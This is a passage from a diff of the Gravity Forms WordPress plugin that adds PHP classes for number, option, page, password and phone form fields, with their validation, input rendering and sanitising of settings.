$value = GFCommon::clean_number( $value, 'decimal_dot' );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
|
||||
// The POST value has already been converted from currency or decimal_comma to decimal_dot and then cleaned in get_field_value().
|
||||
$value = GFCommon::maybe_add_leading_zero( $value );
|
||||
|
||||
// Raw value will be tested against the is_numeric() function to make sure it is in the right format.
|
||||
$raw_value = GFCommon::maybe_add_leading_zero( rgpost( 'input_' . $this->id ) );
|
||||
|
||||
$requires_valid_number = ! rgblank( $raw_value ) && ! $this->has_calculation();
|
||||
$is_valid_number = $this->validate_range( $value ) && GFCommon::is_numeric( $raw_value, $this->numberFormat );
|
||||
|
||||
if ( $requires_valid_number && ! $is_valid_number ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? $this->get_range_message() : $this->errorMessage;
|
||||
} elseif ( $this->type == 'quantity' ) {
|
||||
if ( intval( $value ) != $value ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $field['errorMessage'] ) ? esc_html__( 'Please enter a valid quantity. Quantity cannot contain decimals.', 'gravityforms' ) : $field['errorMessage'];
|
||||
} elseif ( ! empty( $value ) && ( ! is_numeric( $value ) || intval( $value ) != floatval( $value ) || intval( $value ) < 0 ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $field['errorMessage'] ) ? esc_html__( 'Please enter a valid quantity', 'gravityforms' ) : $field['errorMessage'];
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates the range of the number according to the field settings.
|
||||
*
|
||||
* @param string $value A decimal_dot formatted string
|
||||
*
|
||||
* @return true|false True on valid or false on invalid
|
||||
*/
|
||||
private function validate_range( $value ) {
|
||||
|
||||
if ( ! GFCommon::is_numeric( $value, 'decimal_dot' ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$numeric_min = $this->numberFormat == 'decimal_comma' ? GFCommon::clean_number( $this->rangeMin, 'decimal_comma' ) : $this->rangeMin;
|
||||
$numeric_max = $this->numberFormat == 'decimal_comma' ? GFCommon::clean_number( $this->rangeMax, 'decimal_comma' ) : $this->rangeMax;
|
||||
|
||||
if ( ( is_numeric( $numeric_min ) && $value < $numeric_min ) ||
|
||||
( is_numeric( $numeric_max ) && $value > $numeric_max )
|
||||
) {
|
||||
return false;
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public function get_range_message() {
|
||||
$min = $this->rangeMin;
|
||||
$max = $this->rangeMax;
|
||||
|
||||
$numeric_min = $min;
|
||||
$numeric_max = $max;
|
||||
|
||||
if( $this->numberFormat == 'decimal_comma' ){
|
||||
$numeric_min = empty( $min ) ? '' : GFCommon::clean_number( $min, 'decimal_comma', '');
|
||||
$numeric_max = empty( $max ) ? '' : GFCommon::clean_number( $max, 'decimal_comma', '');
|
||||
}
|
||||
|
||||
$message = '';
|
||||
|
||||
if ( is_numeric( $numeric_min ) && is_numeric( $numeric_max ) ) {
|
||||
$message = sprintf( esc_html__( 'Please enter a value between %s and %s.', 'gravityforms' ), "<strong>$min</strong>", "<strong>$max</strong>" );
|
||||
} elseif ( is_numeric( $numeric_min ) ) {
|
||||
$message = sprintf( esc_html__( 'Please enter a value greater than or equal to %s.', 'gravityforms' ), "<strong>$min</strong>" );
|
||||
} elseif ( is_numeric( $numeric_max ) ) {
|
||||
$message = sprintf( esc_html__( 'Please enter a value less than or equal to %s.', 'gravityforms' ), "<strong>$max</strong>" );
|
||||
} elseif ( $this->failed_validation ) {
|
||||
$message = esc_html__( 'Please enter a valid number', 'gravityforms' );
|
||||
}
|
||||
|
||||
return $message;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$form_id = $form['id'];
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$size = $this->size;
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
|
||||
$instruction = '';
|
||||
$read_only = '';
|
||||
|
||||
if ( ! $is_entry_detail && ! $is_form_editor ) {
|
||||
|
||||
if ( $this->has_calculation() ) {
|
||||
|
||||
// calculation-enabled fields should be read only
|
||||
$read_only = 'readonly="readonly"';
|
||||
|
||||
} else {
|
||||
|
||||
$message = $this->get_range_message();
|
||||
$validation_class = $this->failed_validation ? 'validation_message' : '';
|
||||
|
||||
if ( ! $this->failed_validation && ! empty( $message ) && empty( $this->errorMessage ) ) {
|
||||
$instruction = "<div class='instruction $validation_class'>" . $message . '</div>';
|
||||
}
|
||||
}
|
||||
} elseif ( rgget('view') == 'entry' ) {
|
||||
$value = GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ) );
|
||||
}
|
||||
|
||||
$is_html5 = RGFormsModel::is_html5_enabled();
|
||||
$html_input_type = $is_html5 && ! $this->has_calculation() && ( $this->numberFormat != 'currency' && $this->numberFormat != 'decimal_comma' ) ? 'number' : 'text'; // chrome does not allow number fields to have commas, calculations and currency values display numbers with commas
|
||||
$step_attr = $is_html5 ? "step='any'" : '';
|
||||
|
||||
$min = $this->rangeMin;
|
||||
$max = $this->rangeMax;
|
||||
|
||||
$min_attr = $is_html5 && is_numeric( $min ) ? "min='{$min}'" : '';
|
||||
$max_attr = $is_html5 && is_numeric( $max ) ? "max='{$max}'" : '';
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
|
||||
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', $html_input_type == 'text', $this );
|
||||
$value = GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ), $include_thousands_sep );
|
||||
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$input = sprintf( "<div class='ginput_container ginput_container_number'><input name='input_%d' id='%s' type='{$html_input_type}' {$step_attr} {$min_attr} {$max_attr} value='%s' class='%s' {$tabindex} {$logic_event} {$read_only} %s %s %s %s/>%s</div>", $id, $field_id, esc_attr( $value ), esc_attr( $class ), $disabled_text, $placeholder_attribute, $required_attribute, $invalid_attribute, $instruction );
|
||||
return $input;
|
||||
}
|
||||
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', true, $this );
|
||||
|
||||
return GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ), $include_thousands_sep );
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', $use_text, $this );
|
||||
|
||||
return GFCommon::format_number( $value, $this->numberFormat, $currency, $include_thousands_sep );
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::format_number()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
/**
|
||||
* Filters is the thousands separator should be used when displaying the a number field result.
|
||||
*
|
||||
* @since Unknown
|
||||
*
|
||||
* @param bool $modifier != 'value' If the modifier passed in the merge tag is not 'value', false. Otherwise, true.
|
||||
* @param object GF_Field_Number An instance of this class.
|
||||
*/
|
||||
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', $modifier != 'value', $this );
|
||||
$formatted_value = GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ), $include_thousands_sep );
|
||||
|
||||
return $url_encode ? urlencode( $formatted_value ) : $formatted_value;
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
$value = GFCommon::maybe_add_leading_zero( $value );
|
||||
|
||||
$lead = empty( $lead ) ? RGFormsModel::get_lead( $lead_id ) : $lead;
|
||||
$value = $this->has_calculation() ? GFCommon::round_number( GFCommon::calculate( $this, $form, $lead ), $this->calculationRounding ) : $this->clean_number( $value );
|
||||
//return the value as a string when it is zero and a calc so that the "==" comparison done when checking if the field has changed isn't treated as false
|
||||
if ( $this->has_calculation() && $value == 0 ) {
|
||||
$value = '0';
|
||||
}
|
||||
|
||||
$value_safe = $this->sanitize_entry_value( $value, $form['id'] );
|
||||
|
||||
return $value_safe;
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
$this->enableCalculation = (bool) $this->enableCalculation;
|
||||
|
||||
if ( ! in_array( $this->numberFormat, array( 'currency', 'decimal_comma', 'decimal_dot' ) ) ) {
|
||||
$this->numberFormat = GFCommon::is_currency_decimal_dot() ? 'decimal_dot' : 'decimal_comma';
|
||||
}
|
||||
|
||||
$this->rangeMin = $this->clean_number( $this->rangeMin );
|
||||
$this->rangeMax = $this->clean_number( $this->rangeMax );
|
||||
|
||||
if ( $this->numberFormat == 'decimal_comma' ) {
|
||||
$this->rangeMin = GFCommon::format_number( $this->rangeMin, 'decimal_comma' );
|
||||
$this->rangeMax = GFCommon::format_number( $this->rangeMax, 'decimal_comma' );
|
||||
}
|
||||
}
|
||||
|
||||
public function clean_number( $value ) {
|
||||
|
||||
if ( $this->numberFormat == 'currency' ) {
|
||||
return GFCommon::to_number( $value );
|
||||
} else {
|
||||
return GFCommon::clean_number( $value, $this->numberFormat );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Number() );
|
||||
34
includes/fields/class-gf-field-option.php
Normal file
34
includes/fields/class-gf-field-option.php
Normal file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Option extends GF_Field {
|
||||
|
||||
public $type = 'option';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'product_field_setting',
|
||||
'option_field_type_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'label_setting',
|
||||
'admin_label_setting',
|
||||
'label_placement_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Option', 'gravityforms' );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Option() );
|
||||
46
includes/fields/class-gf-field-page.php
Normal file
46
includes/fields/class-gf-field-page.php
Normal file
@@ -0,0 +1,46 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_Page extends GF_Field {
|
||||
|
||||
public $type = 'page';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Page', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'next_button_setting',
|
||||
'previous_button_setting',
|
||||
'css_class_setting',
|
||||
'conditional_logic_page_setting',
|
||||
'conditional_logic_nextbutton_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_field_content( $value, $force_frontend_label, $form ) {
|
||||
$admin_buttons = $this->get_admin_buttons();
|
||||
$field_content = "{$admin_buttons} <label class='gfield_label'> </label><div class='gf-pagebreak-inline gf-pagebreak-container'><div class='gf-pagebreak-text-before'>" . esc_html__( 'end of page', 'gravityforms' ) . "</div><div class='gf-pagebreak-text-main'><span>" . esc_html__( 'PAGE BREAK', 'gravityforms' ) . "</span></div><div class='gf-pagebreak-text-after'>" . esc_html__( 'top of new page', 'gravityforms' ) . '</div></div>';
|
||||
return $field_content;
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
if ( $this->nextButton ) {
|
||||
$this->nextButton['imageUrl'] = wp_strip_all_tags( $this->nextButton['imageUrl'] );
|
||||
$allowed_tags = wp_kses_allowed_html( 'post' );
|
||||
$this->nextButton['text'] = wp_kses( $this->nextButton['text'], $allowed_tags );
|
||||
$this->nextButton['type'] = wp_strip_all_tags( $this->nextButton['type'] );
|
||||
if ( isset( $this->nextButton['conditionalLogic'] ) && is_array( $this->nextButton['conditionalLogic'] ) ) {
|
||||
$this->nextButton['conditionalLogic'] = $this->sanitize_settings_conditional_logic( $this->nextButton['conditionalLogic'] );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Page() );
|
||||
193
includes/fields/class-gf-field-password.php
Normal file
193
includes/fields/class-gf-field-password.php
Normal file
@@ -0,0 +1,193 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
add_action( 'gform_after_submission', array( 'GF_Field_Password', 'delete_passwords' ), 100, 2 );
|
||||
|
||||
class GF_Field_Password extends GF_Field {
|
||||
|
||||
public $type = 'password';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Password', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'rules_setting',
|
||||
'input_placeholders_setting',
|
||||
'sub_labels_setting',
|
||||
'sub_label_placement_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'password_strength_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array(); // this button is conditionally added in the form detail page
|
||||
}
|
||||
|
||||
public function get_entry_inputs() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$password = rgpost( 'input_' . $this->id );
|
||||
$confirm = rgpost( 'input_' . $this->id . '_2' );
|
||||
if ( $password != $confirm ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = esc_html__( 'Your passwords do not match.', 'gravityforms' );
|
||||
} elseif ( $this->passwordStrengthEnabled && ! empty( $this->minPasswordStrength ) && ! empty( $password ) ) {
|
||||
$strength = $_POST[ 'input_' . $this->id . '_strength' ];
|
||||
|
||||
$levels = array( 'short' => 1, 'bad' => 2, 'good' => 3, 'strong' => 4 );
|
||||
if ( $levels[ $strength ] < $levels[ $this->minPasswordStrength ] ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? sprintf( esc_html__( 'Your password does not meet the required strength. %sHint: To make it stronger, use upper and lower case letters, numbers and symbols like ! " ? $ %% ^ & ).', 'gravityforms' ), '<br />' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
$value = array_values( $value );
|
||||
}
|
||||
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
|
||||
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
|
||||
$field_sub_label_placement = $this->subLabelPlacement;
|
||||
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
|
||||
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$first_tabindex = $this->get_tabindex();
|
||||
$last_tabindex = $this->get_tabindex();
|
||||
|
||||
$strength_style = ! $this->passwordStrengthEnabled ? "style='display:none;'" : '';
|
||||
$strength_indicator_label = esc_html__( 'Strength indicator', 'gravityforms' );
|
||||
$strength = $this->passwordStrengthEnabled || $is_admin ? "<div id='{$field_id}_strength_indicator' class='gfield_password_strength' {$strength_style}>
|
||||
{$strength_indicator_label}
|
||||
</div>
|
||||
<input type='hidden' class='gform_hidden' id='{$field_id}_strength' name='input_{$id}_strength' />" : '';
|
||||
|
||||
$action = ! $is_admin ? "gformShowPasswordStrength(\"$field_id\");" : '';
|
||||
$onchange = $this->passwordStrengthEnabled ? "onchange='{$action}'" : '';
|
||||
$onkeyup = $this->passwordStrengthEnabled ? "onkeyup='{$action}'" : '';
|
||||
|
||||
$confirmation_value = rgpost( 'input_' . $id . '_2' );
|
||||
|
||||
$password_value = is_array( $value ) ? $value[0] : $value;
|
||||
$password_value = esc_attr( $password_value );
|
||||
$confirmation_value = esc_attr( $confirmation_value );
|
||||
|
||||
$enter_password_field_input = GFFormsModel::get_input( $this, $this->id . '' );
|
||||
$confirm_password_field_input = GFFormsModel::get_input( $this, $this->id . '.2' );
|
||||
|
||||
$enter_password_label = rgar( $enter_password_field_input, 'customLabel' ) != '' ? $enter_password_field_input['customLabel'] : esc_html__( 'Enter Password', 'gravityforms' );
|
||||
$enter_password_label = gf_apply_filters( array( 'gform_password', $form_id ), $enter_password_label, $form_id );
|
||||
|
||||
$confirm_password_label = rgar( $confirm_password_field_input, 'customLabel' ) != '' ? $confirm_password_field_input['customLabel'] : esc_html__( 'Confirm Password', 'gravityforms' );
|
||||
$confirm_password_label = gf_apply_filters( array( 'gform_password_confirm', $form_id ), $confirm_password_label, $form_id );
|
||||
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$enter_password_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $enter_password_field_input );
|
||||
$confirm_password_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $confirm_password_field_input );
|
||||
|
||||
if ( $is_sub_label_above ) {
|
||||
return "<div class='ginput_complex$class_suffix ginput_container ginput_container_password' id='{$field_id}_container'>
|
||||
<span id='{$field_id}_1_container' class='ginput_left'>
|
||||
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_password_label}</label>
|
||||
<input type='password' name='input_{$id}' id='{$field_id}' {$onkeyup} {$onchange} value='{$password_value}' {$first_tabindex} {$enter_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
</span>
|
||||
<span id='{$field_id}_2_container' class='ginput_right'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_password_label}</label>
|
||||
<input type='password' name='input_{$id}_2' id='{$field_id}_2' {$onkeyup} {$onchange} value='{$confirmation_value}' {$last_tabindex} {$confirm_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
</span>
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>{$strength}";
|
||||
} else {
|
||||
return "<div class='ginput_complex$class_suffix ginput_container ginput_container_password' id='{$field_id}_container'>
|
||||
<span id='{$field_id}_1_container' class='ginput_left'>
|
||||
<input type='password' name='input_{$id}' id='{$field_id}' {$onkeyup} {$onchange} value='{$password_value}' {$first_tabindex} {$enter_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_password_label}</label>
|
||||
</span>
|
||||
<span id='{$field_id}_2_container' class='ginput_right'>
|
||||
<input type='password' name='input_{$id}_2' id='{$field_id}_2' {$onkeyup} {$onchange} value='{$confirmation_value}' {$last_tabindex} {$confirm_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_password_label}</label>
|
||||
</span>
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>{$strength}";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public function get_field_label_class(){
|
||||
return 'gfield_label gfield_label_before_complex';
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
/**
|
||||
* A filter to allow the password to be encrypted (default set to false)
|
||||
*
|
||||
* @param bool Whether to encrypt the Password field with true or false
|
||||
* @param array $form The Current Form Object
|
||||
*/
|
||||
$encrypt_password = apply_filters( 'gform_encrypt_password', false, $this, $form );
|
||||
if ( $encrypt_password ) {
|
||||
$value = GFCommon::openssl_encrypt( $value );
|
||||
GFFormsModel::set_openssl_encrypted_fields( $lead_id, $this->id );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
|
||||
public static function delete_passwords( $entry, $form ) {
|
||||
$password_fields = GFAPI::get_fields_by_type( $form, array( 'password' ) );
|
||||
|
||||
$field_ids = array();
|
||||
|
||||
$encrypted_fields = GFFormsModel::get_openssl_encrypted_fields( $entry['id'] );
|
||||
|
||||
foreach ( $password_fields as $password_field ) {
|
||||
$field_ids[] = $password_field->id;
|
||||
GFAPI::update_entry_field( $entry['id'], $password_field->id, '' );
|
||||
|
||||
$key = array_search( $password_field->id, $encrypted_fields );
|
||||
if ( $key !== false ) {
|
||||
unset( $encrypted_fields[ $key ] );
|
||||
}
|
||||
}
|
||||
|
||||
if ( empty( $encrypted_fields ) ) {
|
||||
gform_delete_meta( $entry['id'], '_openssl_encrypted_fields' );
|
||||
} else {
|
||||
gform_update_meta( $entry['id'], '_openssl_encrypted_fields', $encrypted_fields );
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Password() );
|
||||
365
includes/fields/class-gf-field-phone.php
Normal file
365
includes/fields/class-gf-field-phone.php
Normal file
@@ -0,0 +1,365 @@
|
||||
<?php
|
||||
|
||||
// If Gravity Forms isn't loaded, bail.
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Class GF_Field_Phone
|
||||
*
|
||||
* Handles the behavior of Phone fields.
|
||||
*
|
||||
* @since Unknown
|
||||
*/
|
||||
class GF_Field_Phone extends GF_Field {
|
||||
|
||||
/**
|
||||
* Defines the field type.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @var string The field type.
|
||||
*/
|
||||
public $type = 'phone';
|
||||
|
||||
/**
|
||||
* Defines the field title to be used in the form editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_type_title()
|
||||
*
|
||||
* @return string The field title. Translatable and escaped.
|
||||
*/
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Phone', 'gravityforms' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines the field settings available within the field editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return array The field settings available for the field.
|
||||
*/
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'phone_format_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines if conditional logic is supported in this field type.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::inline_scripts()
|
||||
* @used-by GFFormSettings::output_field_scripts()
|
||||
*
|
||||
* @return bool true
|
||||
*/
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates inputs for the Phone field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDisplay::validate()
|
||||
* @uses GF_Field_Phone::get_phone_format()
|
||||
* @uses GF_Field_Phone::$validation_message
|
||||
* @uses GF_Field_Phone::$errorMessage
|
||||
*
|
||||
* @param array|string $value The field value to be validated.
|
||||
* @param array $form The Form Object.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function validate( $value, $form ) {
|
||||
$phone_format = $this->get_phone_format();
|
||||
|
||||
if ( rgar( $phone_format, 'regex' ) && $value !== '' && $value !== 0 && ! preg_match( $phone_format['regex'], $value ) ) {
|
||||
$this->failed_validation = true;
|
||||
if ( ! empty( $this->errorMessage ) ) {
|
||||
$this->validation_message = $this->errorMessage;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the field input.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_input()
|
||||
* @uses GF_Field::is_entry_detail()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GF_Field_Phone::$failed_validation
|
||||
* @uses GF_Field_Phone::get_phone_format()
|
||||
* @uses GFFormsModel::is_html5_enabled()
|
||||
* @uses GF_Field::get_conditional_logic_event()
|
||||
* @uses GF_Field::get_field_placeholder_attribute()
|
||||
* @uses GF_Field_Phone::$isRequired
|
||||
* @uses GF_Field::get_tabindex()
|
||||
*
|
||||
* @param array $form The Form Object.
|
||||
* @param string $value The value of the input. Defaults to empty string.
|
||||
* @param null|array $entry The Entry Object. Defaults to null.
|
||||
*
|
||||
* @return string The HTML markup for the field.
|
||||
*/
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
$value = '';
|
||||
}
|
||||
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$form_id = $form['id'];
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$size = $this->size;
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
|
||||
$instruction_div = '';
|
||||
if ( $this->failed_validation ) {
|
||||
$phone_format = $this->get_phone_format();
|
||||
if ( rgar( $phone_format, 'instruction' ) ) {
|
||||
$instruction_div = sprintf( "<div class='instruction validation_message'>%s %s</div>", esc_html__( 'Phone format:', 'gravityforms' ), $phone_format['instruction'] );
|
||||
}
|
||||
}
|
||||
|
||||
$html_input_type = RGFormsModel::is_html5_enabled() ? 'tel' : 'text';
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
return sprintf( "<div class='ginput_container ginput_container_phone'><input name='input_%d' id='%s' type='{$html_input_type}' value='%s' class='%s' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} %s/>{$instruction_div}</div>", $id, $field_id, esc_attr( $value ), esc_attr( $class ), $disabled_text );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the value of the submitted field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormsModel::get_field_value()
|
||||
* @uses GF_Field::get_value_submission()
|
||||
* @uses GF_Field_Phone::sanitize_entry_value()
|
||||
*
|
||||
* @param array $field_values The dynamic population parameter names with their corresponding values to be populated.
|
||||
* @param bool $get_from_post_global_var Whether to get the value from the $_POST array as opposed to $field_values. Defaults to true.
|
||||
*
|
||||
* @return array|string
|
||||
*/
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
|
||||
$value = parent::get_value_submission( $field_values, $get_from_post_global_var );
|
||||
$value = $this->sanitize_entry_value( $value, $this->formId );
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes the entry value.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field_Phone::get_value_save_entry()
|
||||
* @used-by GF_Field_Phone::get_value_submission()
|
||||
*
|
||||
* @param string $value The value to be sanitized.
|
||||
